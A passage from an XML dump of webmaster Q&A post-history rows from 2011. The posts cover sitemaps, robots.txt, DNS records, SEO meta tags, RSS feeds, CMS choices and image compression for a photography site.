languages.&#xD;&#xA;&#xD;&#xA;I'm sorry to say that I've never used a CMS written in Java, and none spring to mind. I would suspect that a Java CMS would have slightly more complex hosting and technical requirements, so it might not be suited for a non-programmer anyway. (PHP content management systems are *far* more common and generally inexpensive to host too, so I'd suggest focussing your search there if you decide to host the project yourself.)&#xD;&#xA;" />
  <row Id="44287" PostHistoryTypeId="2" PostId="18248" RevisionGUID="53f34c86-cc6d-4fa4-99c4-2378cc3dd40e" CreationDate="2011-08-15T11:21:53.483" UserId="7159" Text="Yes there is a difference.  If the categories are what you are trying to rank for I would do:&#xD;&#xA;&#xD;&#xA;/category/sub-category/offer-number&#xD;&#xA;&#xD;&#xA;Adding the person's name is the tricky part - depending on your site - it may be a good idea to have it first like:&#xD;&#xA;&#xD;&#xA;/name/category/sub-category/offer-number&#xD;&#xA;&#xD;&#xA;Because it creates a &quot;hackable&quot; URL your end users could use to identify other deals the provider has.&#xD;&#xA;&#xD;&#xA;I'm not really sure what the difference is in title and offer, but I'd merge the two if possible. " />
  <row Id="44288" PostHistoryTypeId="2" PostId="18249" RevisionGUID="dcefbb13-1151-46de-b6d8-553c7b6aeed7" CreationDate="2011-08-15T11:24:40.640" UserId="8222" Text="Here is your reason &#xD;&#xA;&#xD;&#xA;http://www.studyhorror.com/robots.txt&#xD;&#xA;&#xD;&#xA;**User-agent: * Disallow:** &#xD;&#xA;&#xD;&#xA;Remove that !" />
  <row Id="44289" PostHistoryTypeId="5" PostId="18243" RevisionGUID="fa395574-6779-405c-aba7-5838b72298b5" CreationDate="2011-08-15T11:25:30.953" UserId="7198" Comment="clarified question in title, minor edits" Text="I have a bi-lingual website with a sitemap index for each language that links to several different sitemaps (one for videos, one for static content, and one for articles). I would like to introduce another sitemap that links the sitemap indexes, so I could link that sitemap in the robots.txt in the root and wouldn't have to have one robots.txt for each language.&#xD;&#xA;&#xD;&#xA;Is that valid? Or is there a simpler solution to my problem?&#xD;&#xA;" />
  <row Id="44290" PostHistoryTypeId="4" PostId="18243" RevisionGUID="fa395574-6779-405c-aba7-5838b72298b5" CreationDate="2011-08-15T11:25:30.953" UserId="7198" Comment="clarified question in title, minor edits" Text="Can a sitemap index contain other sitemap indexes?" />
  <row Id="44291" PostHistoryTypeId="5" PostId="18227" RevisionGUID="251ca280-1a07-4a61-9859-4776a8b8deb8" CreationDate="2011-08-15T11:32:23.690" UserId="8222" Comment="fiexed grammar " Text="recently it takes 5 to 8 days for my site  ([www.StudyHorror.com][1]) to be indexed. I'm updating the website everyday.&#xD;&#xA;&#xD;&#xA;What are the possible causes for this problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.StudyHorror.com" />
  <row Id="44292" PostHistoryTypeId="4" PostId="18227" RevisionGUID="251ca280-1a07-4a61-9859-4776a8b8deb8" CreationDate="2011-08-15T11:32:23.690" UserId="8222" Comment="fiexed grammar " Text="Why does Google crawl  my site very slowly [recently]" />
  <row Id="44293" PostHistoryTypeId="24" PostId="18227" RevisionGUID="251ca280-1a07-4a61-9859-4776a8b8deb8" CreationDate="2011-08-15T11:32:23.690" Comment="Proposed by 8222 approved by 1064 edit id of 486" />
  <row Id="44294" PostHistoryTypeId="17" PostId="18250" RevisionGUID="42133b8d-4f70-4b34-8574-848b9056a0c7" CreationDate="2011-08-15T11:34:09.527" UserId="-1" Comment="from http://serverfault.com/questions/301099/how-can-i-set-my-site-root-from-localhost-mysite-to-localhost-mysite-view-via" Text="" />
  <row Id="44295" PostHistoryTypeId="2" PostId="18250" RevisionGUID="2f975576-dbe8-41a2-bef1-2cd3ff554298" CreationDate="2011-08-15T04:04:08.670" UserDisplayName="Absolute Newb" Text="hi just wondering if this is possible, when you access my default site directory localhost/mysite I want to set the path to render localhost/mysite/view/ all my html pages will be rendered here just like an php MVC structure can do...  is it possible with htacces?&#xD;&#xA;I'm an absolute newbie so I apologize if you find this question somehow stupid.&#xD;&#xA;&#xD;&#xA;thanks so much in advance :)" />
  <row Id="44296" PostHistoryTypeId="1" PostId="18250" RevisionGUID="2f975576-dbe8-41a2-bef1-2cd3ff554298" CreationDate="2011-08-15T04:04:08.670" UserDisplayName="Absolute Newb" Text="how can I set my site root from: localhost/mysite/ to: localhost/mysite/view/ via htaccess" />
  <row Id="44297" PostHistoryTypeId="3" PostId="18250" RevisionGUID="2f975576-dbe8-41a2-bef1-2cd3ff554298" CreationDate="2011-08-15T04:04:08.670" UserDisplayName="Absolute Newb" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;&lt;mvc&gt;" />
  <row Id="44298" PostHistoryTypeId="5" PostId="18245" RevisionGUID="6f6a1db8-443f-4561-af14-9f4fe583153d" CreationDate="2011-08-15T11:35:03.953" UserId="1780" Comment="added 51 characters in body" Text="KnowledgeTree has a [community edition][1] which is free and Open Source. It's a fine product and has many unique features that you won't find in any other OpenSource document management solutions (like the WIndows drag &amp; drop client), but usage often feels kludgy, and its architecture is largely based on deprecated PHP4  code. I set it up for a client earlier this year, but we agreed to turn away from it because we discovered ...&#xD;&#xA;&#xD;&#xA;**My recommendation**&#xD;&#xA;&#xD;&#xA;[**ResourceSpace**][2]. It is clearly built mainly for the archival of visual media, but it has so far been working fine for documents as well (with some limitations, see below). It is completely Open Source, based on PHP, and very quick to install. It has extensive workflow features, a very nice-looking interface, and on-line preview of many document types.&#xD;&#xA;&#xD;&#xA;**Caveats**&#xD;&#xA;&#xD;&#xA;The only thing it doesn't seem to be doing is full-text index Word documents - I have a [Google Groups question][3] running on the topic. It uses [OpenOffice integration][4] to create previews of Office documents which which I'm currently having character set issues (Umlauts breaking in the document preview). I don't know whether these can be fixed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.knowledgetree.org/Main_Page&#xD;&#xA;  [2]: http://resourcespace.org/&#xD;&#xA;  [3]: http://groups.google.com/group/resourcespace/browse_thread/thread/d578762924939841&#xD;&#xA;  [4]: http://wiki.resourcespace.org/index.php/OpenOffice_Integration" />
  <row Id="44299" PostHistoryTypeId="2" PostId="18251" RevisionGUID="cc2cf597-33d9-44e5-9faa-4aafee56c599" CreationDate="2011-08-15T11:40:16.587" UserId="7198" Text="Yes, you can have a sitemap index containing references to other sitemap indexes, as long as they're all on the same domain.&#xD;&#xA;&#xD;&#xA;Each individual [sitemap index](http://www.google.com/support/webmasters/bin/answer.py?answer=71453) can include up to [1,000 references](http://googlewebmastercentral.blogspot.com/2008/12/sitemap-submission-made-simple.html) to another `&lt;sitemap&gt;`. If you need to reference more than that, create multiple sitemap indexes and submit each one.&#xD;&#xA;&#xD;&#xA;Each individual [sitemap](http://www.google.com/support/webmasters/bin/answer.py?answer=183668) can include up to 50,000 page references. If you need more than that, split them across multiple sitemaps.&#xD;&#xA;" />
  <row Id="44300" PostHistoryTypeId="5" PostId="18251" RevisionGUID="4525855e-57e9-4d69-bead-3f76608c1b80" CreationDate="2011-08-15T11:45:19.717" UserId="7198" Comment="added 74 characters in body" Text="Yes, you can have a sitemap index containing references to other sitemap indexes [[source](http://sitemaps.blogspot.com/2005/08/using-sitemap-index-files.html)], as long as they're all on the same domain.&#xD;&#xA;&#xD;&#xA;Each individual [sitemap index](http://www.google.com/support/webmasters/bin/answer.py?answer=71453) can include up to [1,000 references](http://googlewebmastercentral.blogspot.com/2008/12/sitemap-submission-made-simple.html) to another `&lt;sitemap&gt;`. If you need to reference more than that, create multiple sitemap indexes and submit each one.&#xD;&#xA;&#xD;&#xA;Each individual [sitemap](http://www.google.com/support/webmasters/bin/answer.py?answer=183668) can include up to [50,000 page references](http://www.google.com/support/webmasters/bin/answer.py?answer=183668#1). If you need more than that, split them across multiple sitemaps.&#xD;&#xA;" />
  <row Id="44301" PostHistoryTypeId="2" PostId="18252" RevisionGUID="7bfe63ce-5a5e-4a52-a4af-91b28fbd0ec2" CreationDate="2011-08-15T11:58:14.700" UserId="9593" Text="this question was into my mind since a long time, and now I found this Q/A place to ask about it. What do you think?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="44302" PostHistoryTypeId="1" PostId="18252" RevisionGUID="7bfe63ce-5a5e-4a52-a4af-91b28fbd0ec2" CreationDate="2011-08-15T11:58:14.700" UserId="9593" Text="Do you think e-shop is better than eshop?" />
  <row Id="44303" PostHistoryTypeId="3" PostId="18252" RevisionGUID="7bfe63ce-5a5e-4a52-a4af-91b28fbd0ec2" CreationDate="2011-08-15T11:58:14.700" UserId="9593" Text="&lt;domains&gt;" />
  <row Id="44304" PostHistoryTypeId="2" PostId="18253" RevisionGUID="4eb65a54-ff01-4934-b8e1-324ad624322b" CreationDate="2011-08-15T12:06:52.240" UserId="9163" Text="I'm trying to figure out how to use it.&#xD;&#xA;&#xD;&#xA;I understand that this tag tell Google which page is the root parent / parent of the current page.&#xD;&#xA;&#xD;&#xA;So, for example, on a page that's listing a product from a certain category, the `rel=&quot;index&quot;` value should be the product category page (the page which lists all products from that category). Am I right?&#xD;&#xA;&#xD;&#xA;And the index value of that product category page is the &quot;Products&quot; page, ie. the page which lists products from all categories (or featured / most bought / popular products or whatever).&#xD;&#xA;&#xD;&#xA;Is this how index should be used?&#xD;&#xA;&#xD;&#xA;If yes, then what if the page which the index points to has `&quot;noindex, follow&quot;`, because it serves duplicate content?" />
  <row Id="44305" PostHistoryTypeId="1" PostId="18253" RevisionGUID="4eb65a54-ff01-4934-b8e1-324ad624322b" CreationDate="2011-08-15T12:06:52.240" UserId="9163" Text="About the &lt;link rel=&quot;index&quot; /&gt; tag" />
  <row Id="44306" PostHistoryTypeId="3" PostId="18253" RevisionGUID="4eb65a54-ff01-4934-b8e1-324ad624322b" CreationDate="2011-08-15T12:06:52.240" UserId="9163" Text="&lt;seo&gt;&lt;google&gt;&lt;html&gt;&lt;indexing&gt;" />
  <row Id="44307" PostHistoryTypeId="17" PostId="18254" RevisionGUID="63b95f67-97e5-4732-9ffe-d37a94a788f6" CreationDate="2011-08-15T12:10:13.253" UserId="-1" Comment="from http://stackoverflow.com/questions/7063529/how-to-set-up-the-publish-and-prompt-to-front-end-settings-in-feed-importer" Text="" />
  <row Id="44308" PostHistoryTypeId="2" PostId="18254" RevisionGUID="129b4f12-24a6-4d25-bd39-3f2621f973f7" CreationDate="2011-08-15T09:39:42.747" UserDisplayName="Ahmad" Text="I have a feed importer which is attach to the &quot;feed source&quot; content type. This feed importer create nodes of type &quot;Blog&quot;.&#xD;&#xA;I want when I want to create a feed source content and select the publish in the publish settings the newly created blogs should also be published. But if while creating the feed source content I unchecked the publish in the publish settings the the newly created blogs should also be unpublished. Same is for prompt to front end.&#xD;&#xA;&#xD;&#xA;How can I achieve this functionality through feed importer?" />
  <row Id="44309" PostHistoryTypeId="1" PostId="18254" RevisionGUID="129b4f12-24a6-4d25-bd39-3f2621f973f7" CreationDate="2011-08-15T09:39:42.747" UserDisplayName="Ahmad" Text="How to set up the publish and prompt to front end settings in feed importer?" />
  <row Id="44310" PostHistoryTypeId="3" PostId="18254" RevisionGUID="129b4f12-24a6-4d25-bd39-3f2621f973f7" CreationDate="2011-08-15T09:39:42.747" UserDisplayName="Ahmad" Text="&lt;drupal-6&gt;&lt;feeds&gt;" />
  <row Id="44311" PostHistoryTypeId="17" PostId="18255" RevisionGUID="0a0187f8-c842-4b59-abe3-8ef268e881fb" CreationDate="2011-08-15T12:15:47.763" UserId="-1" Comment="from http://stackoverflow.com/questions/7058301/custom-domain-for-tumblr" Text="" />
  <row Id="44312" PostHistoryTypeId="17" PostId="18256" RevisionGUID="88b37858-453a-4f68-9f26-6809661952ef" CreationDate="2011-08-15T12:15:47.763" UserId="-1" Comment="from http://stackoverflow.com/questions/7058301/custom-domain-for-tumblr" Text="" />
  <row Id="44313" PostHistoryTypeId="2" PostId="18256" RevisionGUID="88994f1f-fad2-4573-a204-3af38fc1ae0d" CreationDate="2011-08-14T17:05:54.847" UserDisplayName="sam" Text="Setup blog.scribeair.com as an A-record pointing toward 72.32.231.8. Use http://www.tumblr.com/docs/en/custom_domains as a reference. " />
  <row Id="44314" PostHistoryTypeId="2" PostId="18257" RevisionGUID="d78868e9-2658-4632-85a3-b6b119cefd0a" CreationDate="2011-08-14T17:07:15.930" UserDisplayName="sbrichards" Text="You can create a cname in your dns record so that blog.scribeair.com references scribeair.tumblr.com&#xD;&#xA;&#xD;&#xA;More here http://en.wikipedia.org/wiki/CNAME_record" />
  <row Id="44315" PostHistoryTypeId="2" PostId="18255" RevisionGUID="22884ade-8fd2-4d17-9154-791000c7b7f4" CreationDate="2011-08-14T17:01:58.363" UserId="2792" Text="I am trying to set up a custom domain for my tumblr account.&#xD;&#xA;&#xD;&#xA;http://blog.scribeair.com/ to http://scribeair.tumblr.com&#xD;&#xA;&#xD;&#xA;Can some one help me how to set up the DNS records for the subdomain.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/7saDZ.png" />
  <row Id="44316" PostHistoryTypeId="1" PostId="18255" RevisionGUID="22884ade-8fd2-4d17-9154-791000c7b7f4" CreationDate="2011-08-14T17:01:58.363" UserId="2792" Text="Custom Domain for Tumblr" />
  <row Id="44317" PostHistoryTypeId="3" PostId="18255" RevisionGUID="22884ade-8fd2-4d17-9154-791000c7b7f4" CreationDate="2011-08-14T17:01:58.363" UserId="2792" Text="&lt;dns&gt;&lt;subdomain&gt;&lt;tumblr&gt;" />
  <row Id="44318" PostHistoryTypeId="17" PostId="18257" RevisionGUID="c800dd56-5079-4b20-ad7d-17ac8ad63e03" CreationDate="2011-08-15T12:15:47.763" UserId="-1" Comment="from http://stackoverflow.com/questions/7058301/custom-domain-for-tumblr" Text="" />
  <row Id="44319" PostHistoryTypeId="2" PostId="18258" RevisionGUID="3f6675ec-4dc9-414e-bb87-05cb81465e3d" CreationDate="2011-08-15T12:20:50.000" UserId="4306" Text="You're correct in your understanding. The rel=&quot;index&quot; is designed to point bots to the index for the current document, which could be a category listing, a monthly archive, or the root of the site itself.&#xD;&#xA;&#xD;&#xA;If the page designated as the index is marked &quot;noindex, follow&quot;, it's because the website maintainer wants search engines to ignore the listing page, but to still follow all of the links it finds and index those." />
  <row Id="44320" PostHistoryTypeId="5" PostId="18258" RevisionGUID="cde57922-7390-4061-beca-1259aabbb523" CreationDate="2011-08-15T12:32:50.800" UserId="4306" Comment="Updated answer with more info" Text="You're correct in your understanding. The rel=&quot;index&quot; is designed to point bots to the index for the current document, which could be a category listing, a monthly archive, or the root of the site itself.&#xD;&#xA;&#xD;&#xA;If the page designated as the index is marked &quot;noindex, follow&quot;, it's because the website maintainer wants search engines to ignore the listing page, but to still follow all of the links it finds and index those.&#xD;&#xA;&#xD;&#xA;Why would they want this? Take the example of a category listing page, set as the rel=&quot;index&quot; of a post.&#xD;&#xA;&#xD;&#xA;The ***post*** is full of keyword-rich content and can have hand-crafted titles and descriptions. The ***category*** page, on the other hand, is dynamic and hard to optimise for SEO. And even if a visitor lands on the page from a search engine, they won't have the correct context for the site, so they won't have the best experience. So it makes sense not to index [noindex] the page.&#xD;&#xA;&#xD;&#xA;But the category page links to all of the other posts in that category, so it's really valuable to have the search engine follow all the links [follow]. All the links the bot follows will be marked index, so they will be spidered correctly." />
  <row Id="44321" PostHistoryTypeId="25" PostId="18253" RevisionGUID="f6dc9c74-4d6e-48ca-b929-abe9aecc93f9" CreationDate="2011-08-15T12:34:41.557" Comment="http://twitter.com/#!/StackWebmasters/status/103082180661616641" />
  <row Id="44322" PostHistoryTypeId="5" PostId="18258" RevisionGUID="b828bc2d-e25a-4c76-b60d-bcc1852bfe15" CreationDate="2011-08-15T12:38:10.047" UserId="4306" Comment="Updated answer with more info" Text="You're correct in your understanding. The `rel=&quot;index&quot;` is designed to point bots to the index for the current document, which could be a category listing, a monthly archive, or the root of the site itself.&#xD;&#xA;&#xD;&#xA;If the page designated as the index is marked &quot;`noindex, follow&quot;`, it's because the website maintainer wants search engines to ignore the listing page, but to still follow all of the links it finds and index those.&#xD;&#xA;&#xD;&#xA;Why would they want this? Take the following example of a post, pointing to its index which is a category listing page:&#xD;&#xA;&#xD;&#xA;    /example-category/example-post/&#xD;&#xA;           ^                ^&#xD;&#xA;     category index        post&#xD;&#xA;&#xD;&#xA;The ***post*** is full of keyword-rich content and can have hand-crafted titles and descriptions. The ***category index***, on the other hand, is dynamic and hard to optimise for SEO. And even if a visitor lands on the page from a search engine, they won't have the correct context for the site, so they won't have the best user experience. So it makes sense not to index [`noindex`] the page.&#xD;&#xA;&#xD;&#xA;But the category index page links to all of the other posts in that category, so it's really valuable to have the search engine follow all the links [`follow`]. All the links the bot follows will be marked `index` and optimised for SEO, so they should perform well in the search engines." />
  <row Id="44323" PostHistoryTypeId="2" PostId="18259" RevisionGUID="64d87805-c9bd-46ba-b3a8-747a086c20a0" CreationDate="2011-08-15T12:49:16.720" UserId="9594" Text="Add equal min-width to #body and #footer.&#xD;&#xA;&#xD;&#xA;For example&#xD;&#xA;#body, #footer {&#xD;&#xA;  min-width: 980px;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;worked for me." />
  <row Id="44324" PostHistoryTypeId="2" PostId="18260" RevisionGUID="63d5e008-50bf-4212-a70e-58b886bab6c7" CreationDate="2011-08-15T12:54:04.643" UserId="5013" Text="I have a blog and its posts date back all the way to March of 2009. However, when I visit my feed url (it's feedburner), the oldest post that shows up on that page is one written in February of 2011. How do I view ALL posts on a blog with a feed url?" />
  <row Id="44325" PostHistoryTypeId="1" PostId="18260" RevisionGUID="63d5e008-50bf-4212-a70e-58b886bab6c7" CreationDate="2011-08-15T12:54:04.643" UserId="5013" Text="How do I view ALL blog posts in an RSS feed?" />
  <row Id="44326" PostHistoryTypeId="3" PostId="18260" RevisionGUID="63d5e008-50bf-4212-a70e-58b886bab6c7" CreationDate="2011-08-15T12:54:04.643" UserId="5013" Text="&lt;rss&gt;&lt;feeds&gt;&lt;feedburner&gt;" />
  <row Id="44328" PostHistoryTypeId="5" PostId="18240" RevisionGUID="b92515f5-f8de-41ea-9858-63e279cbbd0b" CreationDate="2011-08-15T14:21:34.153" UserId="480" Comment="added 403 characters in body" Text="Is there a free service with and API that performs lossless image file size reduction?&#xD;&#xA;&#xD;&#xA;Currently we use [Smush.it][1] which isn't perfect (have to resort to command line tools), although its FAQ does suggest that an API is coming (no progress on this in over 2 years).&#xD;&#xA;&#xD;&#xA;**EDIT**:&#xD;&#xA;&#xD;&#xA;Turns out the Smush.it API is alive and well, just advertised as dead. Sending requests to: `http://www.smushit.com/ysmush.it/ws.php?img=VALID_IMAGE_URL` (where VALID_IMAGE_URL is, you guessed it, a valid URL of an image) returns a JSON object with a Smush.it address where you can download the newly created image. The JSON object also gives you statistics on the compression available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smushit.com/ysmush.it/" />
  <row Id="44329" PostHistoryTypeId="2" PostId="18262" RevisionGUID="75335e94-1edb-4177-8ef7-298c06f3f526" CreationDate="2011-08-15T14:21:40.193" UserId="6113" Text="RSS feeds are usually just XML documents that are generated dynamically every time a reader requests them. They contain only as many recent posts as it is set by the tool you use. They do not contain all previous entries unless you specifically tell them to, should it be possible in the CMS you use. However, feed readers like Google Reader keep extensive archives of the feeds they have requested, so you may try to access the feed this way and check if Google Reader has archived it." />
  <row Id="44330" PostHistoryTypeId="25" PostId="18243" RevisionGUID="02917a7e-14bc-489a-8089-3e55caf87685" CreationDate="2011-08-15T14:34:42.167" Comment="http://twitter.com/#!/StackWebmasters/status/103112381571403776" />
  <row Id="44331" PostHistoryTypeId="5" PostId="18179" RevisionGUID="cf30018a-c833-4abf-879f-75afdde5c9b3" CreationDate="2011-08-15T14:37:11.340" UserId="108" Comment="deleted 50 characters in body" Text="Please recommend an one stop popular website for inspirational web design interfaces/ design snippet.&#xD;&#xA;" />
  <row Id="44332" PostHistoryTypeId="16" PostId="18179" RevisionGUID="0d332a30-9475-4c4c-a76b-fca4562874c6" CreationDate="2011-08-15T14:37:26.317" UserId="108" />
  <row Id="44333" PostHistoryTypeId="16" PostId="18183" RevisionGUID="d17944de-7470-4d98-91d4-d086bec8afdb" CreationDate="2011-08-15T14:37:26.317" UserId="108" />
  <row Id="44334" PostHistoryTypeId="16" PostId="18197" RevisionGUID="8d3b4e08-abbf-4d8c-bc90-feba1bc44c66" CreationDate="2011-08-15T14:37:26.317" UserId="108" />
  <row Id="44335" PostHistoryTypeId="16" PostId="18228" RevisionGUID="5f90a7c8-0edd-48dc-ace1-b907d538f736" CreationDate="2011-08-15T14:37:26.317" UserId="108" />
  <row Id="44336" PostHistoryTypeId="2" PostId="18263" RevisionGUID="cfdb3b48-2843-4800-a6df-9df875ead5bf" CreationDate="2011-08-15T14:40:35.593" UserId="9598" Text="1 Which criterions shall I use to choose a good DNS provider?&#xD;&#xA;&#xD;&#xA;- Redundancy - How many redundant nameservers? -- At least 4!&lt;br/&gt;&#xD;&#xA;- Worldwide server location - Servers shall be located worldwide, and not just in one country!&#xD;&#xA;- Dns response time- Average ping response time shall be smaller than 150ms, or Dns response time is not important?&#xD;&#xA;- Ipv6 support&#xD;&#xA;&#xD;&#xA;Anything else?&#xD;&#xA;&#xD;&#xA;2- I tested Amazon DNS route 53. &#xD;&#xA;I'm quite disapointed because all dns servers are located in the US while my customers are located in Europe, and their average ping  response time is around 150ms.&#xD;&#xA;What do you think?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="44337" PostHistoryTypeId="1" PostId="18263" RevisionGUID="cfdb3b48-2843-4800-a6df-9df875ead5bf" CreationDate="2011-08-15T14:40:35.593" UserId="9598" Text="Best criterions for choosing a DNS provider" />
  <row Id="44338" PostHistoryTypeId="3" PostId="18263" RevisionGUID="cfdb3b48-2843-4800-a6df-9df875ead5bf" CreationDate="2011-08-15T14:40:35.593" UserId="9598" Text="&lt;dns&gt;&lt;dns-servers&gt;" />
  <row Id="44339" PostHistoryTypeId="5" PostId="17744" RevisionGUID="33e992b7-115b-4ec0-8582-c72f613aa682" CreationDate="2011-08-15T14:51:14.920" UserId="108" Comment="added 3 characters in body" Text="If you frame your question slightly differently you can find a solution.  Instead of asking &quot;What keyword searches return your website closest to the top&quot; instead try asking &quot;What keyword searches that people use return your website closest to the top&quot;.  &#xD;&#xA;&#xD;&#xA;The second question is better because you shouldn't care about keywords that work well for your site but no one searches or is likely to search because it doesn't help your site.  &#xD;&#xA;&#xD;&#xA;In the case of the second question the easy answer is that you can get the results for the top ranking searches in Google from Google's Webmaster Tools.  Just go into Your Site on the Web-&gt;Search Queries and sort by the Avg Position column and you will see what keywords people search that you are currently doing best at." />
  <row Id="44341" PostHistoryTypeId="2" PostId="18264" RevisionGUID="36302354-8168-49bf-baf7-4433a9cff1ad" CreationDate="2011-08-15T15:31:03.310" UserId="576" Text="MS keeps updating the list of Windows Virtual PC VHDs of different Internet Explorer versions so they MAY provide it during their next update cycle.&#xD;&#xA;&#xD;&#xA;There are multiple options to test web apps in IE6. Check [this Smashing Mag review of free &amp; commercial tools for cross-browser testing][1] to find out which will fit your need best.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2011/08/07/a-dozen-cross-browser-testing-tools/" />
  <row Id="44342" PostHistoryTypeId="2" PostId="18265" RevisionGUID="4705af2d-90ad-4a9f-93eb-99eacaacd9a3" CreationDate="2011-08-15T15:54:34.397" UserId="7964" Text="Has anyone experienced a conversion rate improvement based on association badges/images ? &#xD;&#xA;I.E. Badges like BBB association logos, that they're a trusted vendor of x, etc? " />
  <row Id="44343" PostHistoryTypeId="1" PostId="18265" RevisionGUID="4705af2d-90ad-4a9f-93eb-99eacaacd9a3" CreationDate="2011-08-15T15:54:34.397" UserId="7964" Text="Association badges improve conversion rates?" />
  <row Id="44344" PostHistoryTypeId="3" PostId="18265" RevisionGUID="4705af2d-90ad-4a9f-93eb-99eacaacd9a3" CreationDate="2011-08-15T15:54:34.397" UserId="7964" Text="&lt;conversions&gt;" />
  <row Id="44345" PostHistoryTypeId="2" PostId="18266" RevisionGUID="9dc13d20-93e1-481f-bb2d-03f5914384fb" CreationDate="2011-08-15T16:00:57.600" UserId="9601" Text="I am designing a website for a Photographer. Obviously I compressed the images so that they would load faster and not use all the visitors cap. (There is quite a few gbs of pictures so that would just about take all of my bandwidth for a month if I were to browse all the albums.)&#xD;&#xA;&#xD;&#xA;The photographer was worried that having &quot;pixelated&quot; or bad resolution images on her website would create an unproffesional image for herself.&#xD;&#xA;&#xD;&#xA;How much quality can I sacrifice against professionality?&#xD;&#xA;Does it indeed reflect on the photographer if the pictures are in low resolution or will people simply understand the nature of the web?" />
  <row Id="44346" PostHistoryTypeId="1" PostId="18266" RevisionGUID="9dc13d20-93e1-481f-bb2d-03f5914384fb" CreationDate="2011-08-15T16:00:57.600" UserId="9601" Text="Photography website: How much quality to sacrifice for file size?" />
  <row Id="44347" PostHistoryTypeId="3" PostId="18266" RevisionGUID="9dc13d20-93e1-481f-bb2d-03f5914384fb" CreationDate="2011-08-15T16:00:57.600" UserId="9601" Text="&lt;images&gt;&lt;photo-gallery&gt;&lt;photo&gt;" />
  <row Id="44348" PostHistoryTypeId="5" PostId="18240" RevisionGUID="b149b915-a434-4f7b-a887-80dba28a8b0c" CreationDate="2011-08-15T16:06:28.273" UserId="480" Comment="added 1 characters in body" Text="Is there a free service, with an API, that performs lossless image file size reduction?&#xD;&#xA;&#xD;&#xA;Currently we use [Smush.it][1] which isn't perfect (have to resort to command line tools), although its FAQ does suggest that an API is coming (no progress on this in over 2 years).&#xD;&#xA;&#xD;&#xA;**EDIT**:&#xD;&#xA;&#xD;&#xA;Turns out the Smush.it API is alive and well, just advertised as dead. Sending requests to: `http://www.smushit.com/ysmush.it/ws.php?img=VALID_IMAGE_URL` (where VALID_IMAGE_URL is, you guessed it, a valid URL of an image) returns a JSON object with a Smush.it address where you can download the newly created image. The JSON object also gives you statistics on the compression available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smushit.com/ysmush.it/" />
  <row Id="44349" PostHistoryTypeId="17" PostId="18267" RevisionGUID="9e1d49d2-2a28-413d-8dc0-b41e8d8c4086" CreationDate="2011-08-15T16:09:59.143" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18120/is-there-anyway-i-can-check-the-load-time-of-a-webpage-in-cpanel" Text="" />
  <row Id="44350" PostHistoryTypeId="2" PostId="18267" RevisionGUID="cd76139f-e5f6-43d7-8a67-68dd2768f450" CreationDate="2011-08-15T15:09:33.547" UserId="1463" Text="I found that sometimes my website is slow, and I suspect that this is the web host's problem. But the web host insists on that the website is fast. The problem, I suspect, is that the website is fast sometimes, and slow most of the time. The people at web host would just measure the load time of a webpage when the page is responding fast and tell me that there is no problem at their end.&#xD;&#xA;&#xD;&#xA;So, I am thinking about capture the load time for every webpage request, I am not sure whether is this information already available in cpanel ( I am using cpanel)? If yes, how can I get it?" />
  <row Id="44351" PostHistoryTypeId="1" PostId="18267" RevisionGUID="cd76139f-e5f6-43d7-8a67-68dd2768f450" CreationDate="2011-08-15T15:09:33.547" UserId="1463" Text="Is there anyway I can check the load time of a webpage in cpanel?" />
  <row Id="44352" PostHistoryTypeId="3" PostId="18267" RevisionGUID="cd76139f-e5f6-43d7-8a67-68dd2768f450" CreationDate="2011-08-15T15:09:33.547" UserId="1463" Text="&lt;cpanel&gt;" />
  <row Id="44353" PostHistoryTypeId="2" PostId="18268" RevisionGUID="8f1d3426-86ce-43db-824e-9fa3995e3bdf" CreationDate="2011-08-15T16:23:22.580" UserId="7964" Text="[Drupal][1] does this out of the box. Written by [Dries Buytaert][2], he wrote it as a [forum message board][3] among colleagues.&#xD;&#xA;&#xD;&#xA;Drupal integrates well with many different API's and would be a great solution. &#xD;&#xA;&#xD;&#xA;You can see an example of their forums on their [drupal.org/forum][4].&#xD;&#xA;&#xD;&#xA;If you don't like the out of the box example. Drupal also has various contrib(uted) modules that do a little more what a phpbb would do. &#xD;&#xA;&#xD;&#xA;Contrib Modules&#xD;&#xA;&#xD;&#xA;* [Advanced Forum][5] - [Example use of advanced forum][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org&#xD;&#xA;  [2]: http://buytaert.net/resume&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Drupal#History&#xD;&#xA;  [4]: http://drupal.org/forum&#xD;&#xA;  [5]: http://drupal.org/project/advanced_forum&#xD;&#xA;  [6]: http://couleeregion.com/forum" />
  <row Id="44354" PostHistoryTypeId="25" PostId="18260" RevisionGUID="ce027df5-ed77-4a0d-b6ad-5a46b173bd90" CreationDate="2011-08-15T16:34:42.753" Comment="http://twitter.com/#!/StackWebmasters/status/103142583416528896" />
  <row Id="44355" PostHistoryTypeId="2" PostId="18269" RevisionGUID="bf6339c2-6d98-46ae-a98f-b13470f3b030" CreationDate="2011-08-15T16:36:38.603" UserId="7964" Text="In my experience, this is more a balance between load speed and photo quality.  Given i'm a professional photographer myself, I understand this difficult challenge.&#xD;&#xA;&#xD;&#xA;I feel that the internet has gone a long way and there are now some great techniques and tools that you can utilize to avoid this issues. None of these techniques are germane or specific to a photography website.&#xD;&#xA;&#xD;&#xA;**Regarding your first question:** How much quality can I sacrifice against professionality?&#xD;&#xA;&#xD;&#xA;In my experience, generally you can find a balance by playing with the settings of a jpeg image. Settings of 70-85 quality and 72 DPI will be sufficient.&#xD;&#xA;&#xD;&#xA;**Your second question:** Does it indeed reflect on the photographer if the pictures are in low resolution or will people simply understand the nature of the web?&#xD;&#xA;&#xD;&#xA;Yes, any pixelation and/or poor quality of an image will reflect poorly if the photos aren't very high quality. A photographer's work is solely dependent on visual quality and attention to visual detail. 